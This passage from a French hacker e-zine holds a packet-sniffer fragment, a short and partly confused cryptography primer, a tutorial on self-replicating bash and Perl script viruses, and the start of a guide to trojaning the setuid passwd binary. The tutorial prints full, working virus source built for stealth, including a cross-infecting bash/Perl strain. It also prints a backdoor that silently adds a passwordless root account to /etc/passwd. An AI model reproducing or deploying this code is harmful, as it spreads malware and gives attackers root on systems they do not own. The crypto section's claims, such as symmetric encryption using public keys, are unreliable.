hdr=(struct ether_header *)buf; for(c=0; c < ETH_ALEN; c++){ printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]); printf(" > "); for(c=0; c < ETH_ALEN; c++) printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]); printf(" type: %i\n",hdr->ether_type); } printf("Nombre de paquets sniffés: %d\n", c); } int main(int argc, char **argv) { int sockfd; char *name=argv[1]; if(!argv[1]){ fprintf(stderr, "Veuillez entrer une interface valider\n"); return -1; } if((sockfd = ouvre_interface(name))<0){ fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n"); return -1; } if(read_loop(sockfd) < 0){ fprintf(stderr, "Erreur lors de la lecture des paquets\n"); return -1; } return 0; } ------------8<----------------------------------------------------------------------- [ Conclusion ] Une notion aussi simple que le sniffing ne nécéssite pas d'élargissemet inutile, mis à part le fait que je consacrerai peut être un article sur la programmation d'un sniffer via la lip pcap ultérieurement même si cela ne m'attire pas vraiment, ce qui pourrait être relativement intéréssant bien que simple et rapide. Les parades au sniffing sont simple ; le cryptage des données des trames circulant sur le réseau, bien que pouvant se montrer dans certains cas superficiel et inutile, complique la tache à un attaquant désireux de s'approprier quelqu'information sensible. Ainsi des systèmes cryptage, tel que SSH, ont vu le jour, et sont perpétuellement remis en cause en raison du manque de sécurité et de fiabilité qu'ils sont censés proposer. Les exploits fleurissent, les utilisateurs désabusés se multiplient, les sk n'en sont que plus ravis. --------------------------------------------------------------------------------------- X. Les Algorithmes MeiK --------------------------------------------------------------------------------------- [ Introducion ] Dans ce court article, je vais tenter d'expliquer ce que sont les algorithmes et comment ils s'appliquent à l'informatique. Ce n'est carrément pas un mauvais tutorial à 3 euros 50 qu'on trouve sur plein de mauvais sites. Si vous voulez vraiment une formation à la cryptographie et aux algorithmes, soit vous lisez crypto-gram, un très bon magazine sur ça, soit vous attendez un peu et quelqu'un fera peut-être un article dans IOC. Je vous conseille également de lire "Applied Cryptography" de Bruce Schneier qui est sans doute le livre de référence dans ce domaine. I. Qu'est-ce qu'un Algorithme ? : _________________________________ Imaginez que vous avez une variable avec une valeur X et que vous voulez que cette valeur devienne Y - vous ferez subir quelques calculs à votre X et à la fin il aura une autre valeur. Eh bien le calcul effectué pour passer de X à Y c'est ça un algorithme. Vous avez tout été en cours de maths en seconde là ou on vous disait au tout début de l'année de prendre un nombre, lui ajouter deux, puis multiplier par trois...bon, eh bien en gros vous aviez affaire à un algorithme déjà à cette époque là. II. Usages de l'Algorithmique en informatique : _______________________________________________ - On utilise par exemple les algorithmes pour manipuler et gérer les milliards de données transitant par le réseau que tout le monde connait : Internet. - La cryptographie et les signatures électroniques dépendent de la théorie des nombres et d'algorithmes spécifiques et déterminés. Si vous voulez un exemple, ça représente une très grande partie de la sécurité d'internet, tout ce qui est commerce électronique en dépend. Mais ce genre de sécurité est décrit en partie par FozZy dans le HZV#11 dans l'article sur la sécurité des banques électroniques. - Les algorithmes sont ensuite utilisés en programmation pour effectuer diverses taches. L'exemple le plus courant réside dans les différentes formes de tri algorithmique, mais je reviendrais beaucoup plus en détail là dessus dans un autre article. Vous voyez que les algorithmes sont quasiment omniprésents en informatique. Les algorithmes doivent être basés sur des fonctions mathématiques très difficiles à prendre à l'envers (factorisation d'entiers, inversion de valeurs exponentielles, tous les entiers écrits en notation scientifique peuvent être facilement représentés mais difficilement découverts, etc.) Le facteur humain, enfin la chose qui utilisera l'algorithme devra garder secrètes toutes les clés et autres codes (enfin, tout ce qui est connu pour devoir rester secret). Là est le plus gros problème - le social engineering a toujours marché, les hackers en sont pleinement conscients et en tirent un avantage certain. L'algorithme doit être construit de sorte que seules les attaques par brute force soient la solution de décryptage. Sinon ça signifie que l'algorithme contient des failles. L'usage le plus répandu de la cryptogrphie reste sans conteste la sécurité sur Internet, mais ça n'est pas l'ultime solution, et à mon avis, il n'y aura jamais de solution efficace. III. Types de Cryptages : _________________________ A. Cryptage symétrique : ________________________ Le but de la cryptographie est quand même que le texte confidentiel est crypté, transformé en un amas informe de caractères incompréhensibles et que seul celui (ou ceux) qui possède la clé peut le décrypter afin de lui rendre une forme déjà plus compréhensible par le commun des mortels. L'algorithme doit donc être fiable, comme je l'ai dit au dessus, mais aussi doit pas être universel et pouvoir être décodé depuis n'importe quel programme de cryptage. Il faut qu'une personne A envoie son message a sa copine la personne B sans que big brother (C) ne puisse le lire. Le cryptage avec des clés publiques intervient ici. Tout le monde connait l'algorithme, mais la clé miraculeuse renferme le secret...En supposant que l'algorithme est sécure, le seul moyen de lire le message immédiatement est d'avoir la clé, clé qui sera préférablement une phrase longue. Cette procédure est utile si on sait que les gens sont confiants entre eux et qu'ils vont pas donner la clé à tout le monde. ça devient plus compliqué si c'est pas le cas, mais le concept reste le même. B. Les MAC, ou Codes d'autentification de Messages : ____________________________________________________ Ce sont les vérificateurs dela cryptographie. Ils n'ont rien d'autre à faire dans ce domaine, mais ils ont leurs propres algorithmes. L'idée derrière le concept des MAC est simple: quand un paquet, une information ... sont envoyés, ils sont marqués d'un code et le MAC reconnait le code donc il peut authentifier la source et confirmer que le paquet vient bien de l'endroit d'où il est supposé venir et qu'il contient bien les informations théoriquement attendues. C. Fonctions de Hashage : _________________________ L'idée des fonctions de Hashage est qu'elles sont mathématiquement des données informatiques qui sont facilement lues pour confirmer quelque chose, mais intraitables avec le Reverse Engineering à moins de forger la source. Cela peut-être utilisé de différentes manières. La manière la plus connue je pense réside dans le vérificateur d'intégrité Tripwire, dont nous reviendront (beaucoup) plus en détail au prochain numéro. [ Conclusion ] Cet article n'est qu'une petite introduction aux usages basiques de la cryptographie. Dans le prochain numéro il y aura certainement les usages les plus avancés ainsi que peut-être un dossier sur Tripwire. --------------------------------------------------------------------------------------- XI. Shell script & perl script infection Emper0r --------------------------------------------------------------------------------------- +++++++++++++++++++++++++++++++++++ ++++ Fichier Joint : virus.zip ++++ +++++++++++++++++++++++++++++++++++ [ Introducion ] Les virus aux pays des pingouins ont la vie dure. Premièrement n'importe qui n'infecte pas n'importe quoi n'importe où. L'infection des elf est une chose délicate, donc le mieux pour s'amuser est d'étudier l'infection des scripts. Cet article n'a pas pour but d'inciter les S-K à polluer les systèmes linux, mais sert à présenter un danger potentiel. Ce danger est relativement faible vu la facilité de détecter ce genre de bestiole et vu la difficulté que ces virus rencontre pour ce propager. Notre virus doit infecter un maximum de fichier en respectant des consignes de discrétions. Il ne doit pas: o Créer de messages d'erreur o Détruire ou abîmer des données o Ralentir et/ou provoquer un mauvais fonctionnement du système o Agrandir de façon trop importante les scripts infecté [ Sommaire ] I/ Shell script infection. A/ Virus à écrasement. B/ Virus parasite. C/ Optimisation du virus. D/ Désinfection. II/ Perl script infection. A/ Virus parasite. B/ Backdoor. III/ Perl-shell script infection. A/ Virus parasite à mutation simple. ++++ | Partie 1 : Shell script infection | ++++ => Virus à écrasement => Virus Parasite => Optimisation du virus => Désinfection I. Virus à écrasement : _______________________ Je crée un dossier test et dedans j'y place 5 fichiers, 4 fichiers de script et 1 fichier image : [emper0r@laptop test]$ ls -al total 124 drwxr-xr-x 2 emper0r emper0r 4096 jun 20 01:16 ./ drwx--x--x 22 emper0r emper0r 4096 jun 20 01:15 ../ -rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:15 test* -rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test1* -rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test2* -r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3* -rwxr-xr-x 1 emper0r emper0r 97685 jun 20 01:15 tux.jpg* Les fichiers de tests sont identiques mais test3 na pas de droits en écriture. Voici le contenu de ces fichiers: [emper0r@laptop test]$ cat test #!/bin/bash echo 'script de test' [emper0r@laptop test]$ Bon, on va commencer par un petit script de base qui doit ce reproduire dans le répertoire courant. On crée un nouveau script que j'appelle vx: #!/bin/bash for fichier in * #recherche les fichiers du répertoire #courant et place leur nom dans $fichier do #début de la boucle cp $0 $fichier #copie le contenu du script lancé dans #le script trouvé done #on recommence tant qu'il y a des fichiers dans #le répertoire W0W alors ça c'est carrément trop l33t comme script !!! Je vais pouvoir écrire pour Hackerz Voice si je continue (humour). Je lance ça: [emper0r@laptop test]$ ./vx cp: Ne peut créer un fichier de type régulier `test3': Permission non accordée cp: `./vx' et `vx' identifient le même fichier. Pour la discrétion c'est loupé 2 messages d'erreur déjà :) [emper0r@laptop test]$ ls -al total 32 drwxr-xr-x 2 emper0r emper0r 4096 jun 20 01:24 ./ drwx--x--x 23 emper0r emper0r 4096 jun 20 01:24 ../ -rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 test* -rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 test1* -rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 test2* -r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3* -rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:29 tux.jpg* -rwxr-xr-x 1 emper0r emper0r 55 jun 20 01:24 vx* Ce stupide code a détruit mon image il s'est recopié dedans à sa place ; mon image ne fait plus que 55 octets. [emper0r@laptop test]$ cat test #!/bin/bash for fichier in * do cp $0 $fichier done [emper0r@laptop test]$ Le contenu de mes scripts à aussi été remplacé par le code du virus. Ce genre de virus est appelé virus a écrasement, vous avez compris pourquoi ? :) Ils ne présentent absolument aucun interêt. II. Virus Parasite : ____________________ Après ce premier test on voit que le virus à crée une erreur en voulant infecter un fichier qui n'a pas de droits en écriture. Ici 2 solutions : o rediriger le messages vers /dev/null o regarder si l'on est le propriétaire de ce script et dans ce cas ajouter les droits, sinon > /dev/null. La 2nd solution n'est pas terrible car elle alourdit un peu le code, et les cas où il ne vas y avoir les droits d'écriture sur le fichier et où on va pouvoir les mettre vont être rares. De toute façon, ce n'est pas très discret, mais à vous de voir ce que vous recherchez. Le deuxième messages d'erreur est provoqué par le script lancé qui tente de se récrire lui même ; il suffit de rediriger vers /dev/null et voila c'est réglé. Il faut aussi que le virus fasse la différence entre des fichiers de type shell script et les autres, car ajouter un script dans une image ou un elf n'a pas de sens. Pour cela on utilise la commande file : [emper0r@laptop test]$ file test test: Bourne-Again shell script text executable [emper0r@laptop test]$ Dernier point à régler il faut que le virus se recopie dans les autres shell script mais sans les détruire. Il faut faire un truc comme ça : ------- ------- | | | virus | |shell | <-- avant |-------| <-- après |script | infection | | infection | | |shell | ------- |script | | | ------- Voila, on a le code viral au début du script. Une fois qu'il a fini de bosser il passe la main au code du script original. Il faut aussi inclure une signature aux script déjà infectés afin de ne pas les réinfecter plusieurs fois. Voici le code, non optimisé, que je propose pour effectuer tout ça: #!/bin/bash #c0r0na #signature for fichier in * do if [ -f $fichier -a -w $fichier ] #$fichier est un fichier ? #on peut y écrire dedans ? then if file $fichier | grep Bourne-A > /dev/null #teste si le fichier est un #script bash then head -n 2 $fichier > .a if grep c0r0na .a > /dev/null #teste si le fichier a déjà #été infecter then rm -f .a else cat $fichier > .a #sinon head -n 23 $0 > $fichier #place le code viral dans le fichiers cat .a >> $fichier #remet le script initial à la suite rm -f .a fi fi fi done C'est vraiment rien de compliqué. Je restore le dossier test précédement sauvegardé et je teste mon nouveau script: [emper0r@laptop test]$ ls -al total 128 drwxrwxr-x 2 emper0r emper0r 4096 jun 20 14:59 ./ drwx--x--x 24 emper0r emper0r 4096 jun 20 14:59 ../ -rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:15 test* -rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test1* -rwxr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test2* -r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3* -rwxr-xr-x 1 emper0r emper0r 97685 jun 20 01:15 tux.jpg* -rwxrwxr-x 1 emper0r emper0r 441 jun 20 03:15 c0r0na* On lance le virus : [emper0r@laptop test]$ ./c0r0na [emper0r@laptop test]$ Aucun message d'erreur c'est déjà ça :) [emper0r@laptop test]$ ls -al total 128 drwxrwxr-x 2 emper0r emper0r 4096 jun 20 15:03 ./ drwx--x--x 24 emper0r emper0r 4096 jun 20 14:59 ../ -rwxr-xr-x 1 emper0r emper0r 476 jun 20 15:03 test* -rwxr-xr-x 1 emper0r emper0r 476 jun 20 15:03 test1* -rwxr-xr-x 1 emper0r emper0r 476 jun 20 15:03 test2* -r-xr-xr-x 1 emper0r emper0r 35 jun 20 01:16 test3* -rwxr-xr-x 1 emper0r emper0r 97685 jun 20 01:15 tux.jpg* -rwxrwxr-x 1 emper0r emper0r 441 jun 20 03:15 c0r0na* Il a l'air d'avoir bien fait son boulot on remarque l'agrandissement des scripts test ; l'image n'a pas été détruite. Si on fait un "cat test", on voit bien notre code viral au début puis après le script original. Maintenant je teste si les scripts infectés peuvent infecter à leur tour d'autre script. Je crée un script nommé "test4" et je lance "test" : Tout marche comme prévu, le code viral se lance, infecte le nouveau fichier (test4) et le code original du script est exécuté. Le script na pas ralenti de façon visible le système sur mon laptop équipé d'un duron 900. Pour tester le temps mis a effectuer le script on peut lancer le script de cette façon [emper0r@laptop test]$ time -p ./test script de test real 0.17 user 0.10 sys 0.07 Ici c'est parfait mais il faut penser que l'on a infecté qu'un seul script. Lorsque que je fait le test pour infecter 9 fichiers c'est déjà un peu plus long: [emper0r@laptop test]$ time -p ./c0r0na real 0.48 user 0.26 sys 0.21 Pour ceux qui ne savent pas à quoi ces chiffres correspondent, un "man time" suffira. Il serait peut être bien de mettre un compteur d'infection pour pas ralentir les vielles machines au cas ou on tombe sur un dossier avec plein de shell script a infecter, une fois de plus à vous de voir le but que vous recherchez, moi c'est juste pour le fun. III. Optimisation du virus : ____________________________ Pour optimiser le code, on va choisir des noms de variables d'un seul caractère, et essayer de réduire le nombre de lignes : #!/bin/bash #c0r0na for f in * do if [ -f $f -a -w $f ];then if file $f | grep Bourne-A > /dev/null then head -n 2 $f > .a if grep c0r0na .a > /dev/null then rm -f .a else cat $f > .a head -n 18 $0 > $f cat .a >> $f rm -f .a fi;fi;fi done Voila, il doit y avoir moyen de faire mieux mais je suis pas trés bon en programmation shell script. Ce virus étant fourni sous licence GPL vous avez le droit de le modifier :)) Le virus passe quand même de 441 octets a 239 octets et de 23 lignes a 18 lignes. Maintenant il reste un gros problème et je bloque pour le résoudre de manière efficasse : comment infecter les scripts qui ce trouve dans d'autre dossier ? J'ai penser a faire une boucle du style: for dir in * Puis rentrer dans chaque répertoire pour infecter les scripts et remonter aux niveau supérieur avec un "cd .." mais cela ralentira énormément la machine ce n'est pas du tout discret :( J'ai pas de solution adéquate ; il faudrait trouver un moyen pour faire une sorte de virus résident. Je pense qu'il doit exister une bonne solution mais je sais pas faire. Pour le moment ce virus n'est donc pas capable de véritablement se propager. Voila si quelqu'un détient la solution : mail emper0r@m-net.arbornet.org IV. Désinfection : __________________ Pour le fun je vous propose un script de désinfection, simplifié au maximum, en perl: #!/usr/bin/perl foreach $Fichier (<*>) #recherche les fichiers #du rep courant { if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)) #teste les droits { open(File, "$Fichier"); #ouvre le fichier @Temp=; #le fichier est placé dans #le tableau Temp close(File); if (@Temp[1] =~ "c0r0na") #teste si fichier infecté #par c0r0na { print "\n----> Le fichier:".$Fichier." est infecté\n"; print "Désinfection de ".$Fichier." en cours\n"; open(File, ">$Fichier"); #ouvre le fichier pour #écrire dedans print File @Temp[18 .. $#Temp]; #récrit le fichier sans #les 18 premières ligne close(File); print "Désinfection réussi.\n\n"; } } } Ce script est facilement configurable pour désinfecter les différents viriis de cet article. Testons ce script de désinfection : [emper0r@laptop test]$ cat test #!/bin/bash #c0r0na for f in * do if [ -f $f -a -w $f ];then if file $f | grep Bourne-A > /dev/null then head -n 2 $f > .a if grep c0r0na .a > /dev/null then rm -f .a else cat $f > .a head -n 18 $0 > $f cat .a >> $f rm -f .a fi;fi;fi done #!/bin/bash echo 'script de test' [emper0r@laptop test]$ C'est clair que test est infecté. On lance le script de désinfection. [emper0r@laptop test]$ ./desinfection ----> Le fichier:test est infecte Désinfection de test en cours Désinfection réussi. ----> Le fichier:c0r0na est infecte Désinfection de c0r0na en cours Désinfection réussi. [emper0r@laptop test]$ cat test #!/bin/bash echo 'script de test' [emper0r@laptop test]$ Parfait mon script est nettoyé. [emper0r@laptop test2]$ cat c0r0na [emper0r@laptop test2]$ c0r0na était le script qui contenait la souche virale qui a infecté le script test ; son contenu à était supprimé lui aussi. ++++ | Partie 2 : Perl script infection | +++ => Virus Parasite => Backdoor Je ne vais pas reprendre toute la démarche faite pour l'infection des shell scripts dans cette partie. Le code présenté ici fonctionne de la même façon que précedemment. I. Virus Parasite : ___________________ [ Le Code ] #!/usr/bin/perl #h0egaard3n #signature open(File,$0); #ouvre le fichier courant @vx=; #place son contenu dans le tableau @vx close(File); foreach $Fichier (<*>) #recherche de fichiers { if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)) #teste les droits { open(File, "$Fichier"); #ouvre le fichier trouvé @Temp=; #place son contenu dans le tableau @Temp close(File); if (@Temp[0] =~ "/perl") #teste si le fichier est bien un script perl { if (@Temp[1] ne "\#h0egaard3n\n") #test qu'il n'est pas déjà infecté { open(File, ">$Fichier"); #rouvre le fichier pour y écrire print File @vx[0 .. 23]; #on y met les 23 premières ligne print File @Temp; #on ajoute à la suite script original close (File); } } } } Encore une fois rien de compliqué ... Je passe très vite sur cette partie ; je ne montrerai pas les tests, c'est sans interêt puisque ca fonctionne pareil que pour les scripts shell. En ce qui concerne l'optimisation c'est toujours pareil. L'archive virus.zip contient une version à moitié optimisée. Comme précédement, on fait un test de vitesse sur l'infection de 9 fichiers: [emper0r@laptop test]$ time -p ./h0egaard3n real 0.04 user 0.03 sys 0.01 Il y a rien a dire, le perl c'est carrément plus rapide ! II. Backdoor : ______________ Imaginez que le root lance un script infecté : si ce script contient une petite backdoor alors la sécurité du système est grandemment compromise. Voici un exemple de backdoor ajoutant un compte avec les droits root sans mot de passe : $f="/etc/passwd"; if ((-w $f) && (-r $f)){ #regarde si l'on peut lire et écrire le /etc/passwd open(File, $f); @t=; #copie le fichier dans @t close(File); $bd = "ftpp::0:0:ftp:/:/bin/sh\n"; if (@t[6] ne $bd){ #teste si le compte ftpp avec droits root existe déjà for (0 .. 5){ @t1[$_]=@t[$_];} #sauvegarde les 6 premières lignes for (6 .. $#t){ @t2[$_]=@t[$_];} #sauvegarde les lignes 7 jusqua la fin open (File, ">$f"); print File @t1; #restore les début print File $bd; #ajoute notre compte sans pass avec droit root print File @t2; #restore la suite }} Cette backdoor est toute simple : si elle peut ouvrir /etc/passwd elle regarde la ligne n°7 pour voir si elle n'a pas déjà ajouté le compte avec droit root sans pass. Si ce n'est pas le cas elle l'ajoute. J'ai choisi de ne mettre le nouveau compte compte root ni au début ni à la fin du fichier passwd, mais dans le milieu. La backdoor est un peu plus grosse mais c'est plus discret. Si le root lance ce bout de code alors un simple user n'a plus qu'a faire : "su ftpp" et il obtient les droits root. Il est tout aussi simple de faire la même backdoor pour le virus bash c0r0na. ++++ | Partie 3 : Perl-shell script infection | ++++ => Virus Parasite à mutation simple Maintenant encore plus amusant :) Faire une souche virale qui serait capable d'infecter à la fois des scripts shell et des scripts perl. Le script perl infecté serait capable à son tour d'infecter soit un autre script perl soit un script shell et inversement. Comment faire ? : Notre souche contient pour commencer par exemple le script perl au début, et à la suite le script bash, mais celui si désactivé, c'est a dire commenté avec un "#" (évidemment car du bash dans un script perl ça na pas de sens). Si ce script détecte un script perl infectable dans le répertoire, alors il se recopie au début à l'identique (il garde le script bash commenté biensur). Puis il ajoute le script original. En revanche, si ce script rencontre un fichier bash infectable il recopie la partie bash décommenté au début, commente la parti perl et la recopie en suivant, puis remet le script original. Le script bash doit biensur avoir la même capassité que le script perl décrit au-dessus. Comment ça mes explication sont pas claires ? :) I. Virus parasite à mutation simple : _____________________________________ Notre virus doit donc être capable de faire des mutations de son code : -------- -------- -------- |virus | |virus | |virus | |perl | rencontre |bash | rencontre |perl | |--------| --> un script --> |--------| --> un script --> |--------| |#virus | bash |#virus | perl |#virus | |#bash | |#perl | |#bash | -------- |--------| |--------| ^ |script | |script | | |bash | |perl | | |original| |original| | -------- -------- | ^ ^ | | | Souche virale, Mutation : la Mutation : la partie perl script perl actif partie bash est activé est réactivé et passé en début, script et placé en début. en début. bash déactivé La parti perl suit La parti bash suit et à la suite. et est désactivé. est désactivé. En fin on a le En fin on a le script script original. original. Biensur le code va devenir vraiment important et les fichiers infecté vont beaucoup grossir. Et puis imaginez la geule du gars qui va regarder un fichier infecté, avec du code perl commenté dans son script shell ou l'inverse. [ Le code ] ----8<-------------------------------------------------------------------------------- #!/usr/bin/perl #parti perl #H3in3k3n #marque d'infection open(File,$0); @vx=; #place le virus dans la table @vx close(File); foreach $Fichier (<*>){ #recherche les fichiers if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)){ #test si fichier et vérifie les droits open(File, "$Fichier"); @Temp=; #sauvegarde le contenu du fichier dans @Temp close(File); if (@Temp[0] =~ "/perl"){ #teste si c'est un fichier perl if (@Temp[1] ne "\#H3in3k3n\n"){ #teste si déjà infecté open(File, ">$Fichier"); print File @vx[0 .. 61]; #écrit le virus print File @Temp; #récrit le script original close (File);}} if (@Temp[0] =~ "/bash"){ #si c'est un shell script if (@Temp[1] ne "\#H3in3k3n\n"){ for (0 .. 28 ){ @vx2[$_] = "\#" . @vx[$_];} #commente les 29 premières lignes, résultat dans @vx2 for (29 .. 61){ @vx1[$_]= @vx[$_]; @vx1[$_]=~ s/#//;} #décommente les lignes 30 à 62, résultat dans @vx1 open(File, ">$Fichier"); print File @vx1; #écrit la parti shell script print File @vx2; #écrit la parti perl script commenté print File @Temp; #récrit le script original close(File); }}}} ##!/bin/bash #parti bash ##H3in3k3n #marque d'infection #for fichier in * #recherche de fichier #do # if [ -f $fichier -a -w $fichier ];then #teste si fichier et vérifie les droits # if file $fichier | grep Bourne-A > /dev/null #teste si c'est un fichier BASH # then # head -n 2 $fichier > .a # if grep H3in3k3n .a > /dev/null #teste si déjà infecté # then # rm -f .a # else # cat $fichier > .a #sauvegarde le script original dans .a # head -n 62 $0 > $fichier #recopie le virus dans le fichier # cat .a >> $fichier #recopie le script original a la suite # rm -f .a # fi;fi # if file $fichier | grep perl > /dev/null #teste si fichier perl # then # head -n 2 $fichier > .a # if grep H3in3k3n .a > /dev/null #teste si infecté # then # rm -f .a # else # cat $fichier > .a # awk '{ if ((NR>=34)&&(NR<=62)) print $0 }' $0 > .b # cut -b 2- .b > $fichier #décommente les lignes 34 à 62, écrit dans le fichier # head -n 32 $0 > .b # sed -e 's/^/#/' .b >> $fichier #commente la parti bash et la copi à la suite # cat .a >> $fichier #ecrit le script orignal en suivant # rm -f .a .b #fi;fi;fi #done ----8<-------------------------------------------------------------------------------- Voila mon virus H3in3k3n ! D'aprés mes tests il fonctionne correctement ( merci Ciel ). Les scripts perl et/ou bash, infectés par cette souche, sont à leur tour capable d'infecter d'autres scripts perl et bash de façon correcte et ainsi de suite. J'ai commencé le perl il y a 3 semaines, juste avant d'écrire cet article donc il y a certainement des choses maladroites. Il y a des choses à arranger comme par exemple faire le test d'infection avant de faire le test sur le type de fichier, cela permet de gagner un test, supprimmer les 2 fichiers temporaires crés la partie bash ... [ Conclusion ] Peut être qu'une version améliorée sera publié dans le prochain IOC magazine ; là je n'est pas eu le temps entre les exams, fêter les vacances et la réussite aux exams ... :) Si vous voulez tester ces virus, vous les trouverez dans l'archive virus.zip ATTENTION : NE TESTEZ CECI QUE SUR VOTRE PROPRE MACHINE. Pour ceux qui veulent des explications sur le code de H3in3k3n ou participé à la version 2, vous pouvez m'écrire à emper0r@m-net.arbornet.org. ---------------------------------------------------------------------------------------- XII. Trojanisez vos binaires Neofox ---------------------------------------------------------------------------------------- +++++++++++++++++++++++++++++++++++++++ ++++ Fichier Joint : passwd.tar.gz ++++ +++++++++++++++++++++++++++++++++++++++ [ Introduction ] Nous allons parler d'une petite méthode qui consiste à trojaniser un exécutable de manière à y cacher une backdoor ou de manière plus générale à en détourner le fonctionnement. Vous trouverez cî-joint dans l'archive passwd.tar.gz les sources et le Makefile de la backdoor illustrant cet article. Je vous livre cet outil dans un but purement informatif comme on dit. ++++ | Partie 1 : Jouez avec vos codes source ! | ++++ => Explications => En pratique 1. The pourquoi of the comment : ________________________________ [ Le Principe ] UNIX, et donc Linux, est par définition "OpenSource" ; outre le fait que ce terme fera très bon effet dans une conversation, une conséquence directe sera que vous trouverez tous les codes sources de votre système dans votre distribution. Le principe est relativement simple : vous choisissez un exécutable, suid de pré- férence, puis vous recherchez dans votre distrib le package correspondant. Ouvrez le et commençez à étudier les sources. En fonction de l'allure générale, regardez s'il est possible de rajouter quelques lignes de code supplémentaires, en vue de faire exécuter une action prédéfinie au futur programme, si ce dernier est appelé d'une certaine façon. Modifiez donc le code puis recompilez en tenant compte du Makefile ; si tout s'est bien passé, vous avez à présent le même exécutable qu'au début, si ce n'est qu'il peut désormais exécuter une commande spéciale sur votre ordre. Je dois avouer que c'est un peu confus ; nous allons éclaircir tout ça. [ Et la lumière fut ! quoi que ... ] Imaginez un exécutable qui, appelé avec un certain argument, retourne un shell avec uid/gid 0 ; le programme original doit donc appartenir au root et être suid justement pour pouvoir exécuter des commandes de niveau root, mais tout dépend de ce qu'on attend de lui. Ce ne sera ni plus ni moins qu'une backdoor, à ceci près que la nôtre, bien que très simple de conception, passera inaperçue puisqu'elle sera insérée dans un utilitaire déja existant. Il faut quand même opposer à cela une certaine réserve : je dis "passera inaperçue", mais cela n'est vrai que si la machine à laquelle est destiné le futur programme, ne fait tourner ni tripwire ni aucun vérificateur d'intégrité. Par ailleurs, le fonctionnement du programme de départ ne devra pas en être altéré. C'est le principe même des rootkits que de remplaçer un binaire tel que ps ou netstat, histoire de cacher un port et/ou un processus ; vous pouvez tout aussi bien faire en sorte que le programme trojanisé vous retourne un shell. En fait, de nombreuses possibilités s'offrent à nous avec cette manière de procéder. Cependant, travailler dans cette voie peut paraître inutile, pour des raisons que nous évoquerons un peu plus loin, mais je m'amuse à ça juste pour le plaisir. Trève de discours, passons à la pratique. 2. En pratique : ________________ Ma distrib Redhat par exemple se compose entre autres de 4 CD : les deux premiers contiennent les binaires du système, le troisième contient de la doc et le dernier les sources des binaires en question. Si ce n'est déja fait, allez donc jeter un oeil à votre distrib. [fox@localhost fox]$ mount /mnt/cdrom [fox@localhost fox]$ cd /mnt/cdrom [fox@localhost cdrom]$ cd SRPMS [fox@localhost SRPMS]$ ls -al ... -rw-r--r-- 1 root root 12345 aoû 31 2000 openssl-0.9.src.rpm -rw-r--r-- 1 root root 34567 aoû 31 2000 pam-0.72-26.src.rpm -rw-r--r-- 1 root root 54321 aoû 31 2000 passwd-0.64.1-4.src.rpm -rw-r--r-- 1 root root 22334 aoû 31 2000 pcutils-0.2.1-8.src.rpm ... [fox@localhost SRPMS]$ Bien, nous allons regarder ce que contient le package "passwd-0.64.1-4.src.rpm". [fox@localhost SRPMS]$ cp passwd* /tmp [fox@localhost SRPMS]$ cd /tmp [fox@localhost /tmp]$ umount /mnt/cdrom [fox@localhost /tmp]$ rpm -i passwd-0.64*.src.rpm [fox@localhost /tmp]$ cd /usr/src/redhat/SOURCES [fox@localhost SOURCES]$ ls -ldg passwd* [fox@localhost SOURCES]$ drwxrwxrwx 2 fox fox 4096 aoû 31 2000 passwd-0.64.1 [fox@localhost SOURCES]$ cd passwd* [fox@localhost passwd-0.64.1]$ ls Changelog chfn.1 chsh.1 passwd.1 passwd.pamd pwdb.c pwdstat.c version.h Makefile chfn.c chsh.c passwd.c passwd.spec pwdb.h version.c [fox@localhost passwd-0.64.1]$ Intéressant ... en fait, comme on pouvait s'y attendre, cette archive contenait les sources de l'exécutable "/usr/bin/passwd" ( servant à changer le mot de passe d'un compte), mais aussi les sources de deux autres utilitaires : chfn et chsh ; le premier sert à changer les informations relatives à un compte utilisateur, et le second sert à changer le shell attribué à ce compte. Mais celui qui nous intéresse est bien sûr "passwd". Nous pouvons déjà commencer à étudier le code source passwd.c et réfléchir à une manière de transformer cet exécutable tout ce qu'il y a de plus banal, en une backdoor discrète. ++++ | Partie 2 : Trojaniser "passwd" | ++++ => Etude et modification du source => Installation et démonstration => Quelques Remarques Cette partie sera nettement plus longue que la précédente, aussi je me demande pourquoi avoir organisé l'article de cette manière ; enfin, ayant la flème de tout reprendre, je vous invite à fermer les yeux sur ce très léger détail et à poursuivre votre lecture. 1. Etude et modification du source : ____________________________________ Nous allons examiner le code petit à petit : [fox@localhost passwd-0.64.1]$ more passwd.c #include /* No ?! */ #include ... #include "pwdb.h" On voit que le gars de chez Redhat a crée son petit header perso pour se simplifier la vie ; il faudra en tenir compte, nous verrons ça plus loin. Suivent plusieurs séries de #define, après quoi, le code va commencer à se compliquer ;@). Il n'est pas nécessaire de comprendre tout le code je vous rassure, mais il faut néanmoins saisir le sens général de chaque fonction ; le source est suffisamment clair et bien anoté, donc pas de panique. On tombe sur une première sous-fonction relativement courte, mais qui n'as pas l'air très sympathique, ni exploitable d'ailleurs ; on passe. Nous arrivons ensuite à la fonction qui vas nous occuper un moment : void parse_args(int argc, char *argv[]) Le nom est assez évocateur ; à la première lecture, j'ai pensé qu'il s'agissait d'une fonction servant à gérer les arguments passés au programme sur la ligne de commande ; le main() me donnera raison par la suite. C'est donc cette fonction que nous allons bidouiller. On continue notre lecture de cette dernière, et on arrive ici : /* now, only root can specify an username */ username = NULL; if(extraArgs && etraArgs[0]){ if(getuid()){ /* non root */ fprintf(stderr, "%s: Only root can specify a username\n", progname); exit(-3); } else { username = extraArgs[0]; /* test the username for length */ if (strlen(username) > MAX_USERNAMESIZE){ fprintf(stderr, "%s: The username supplied is to long\n", progname); ext(-3); } } /* ... */ } C'est cette partie précisemment 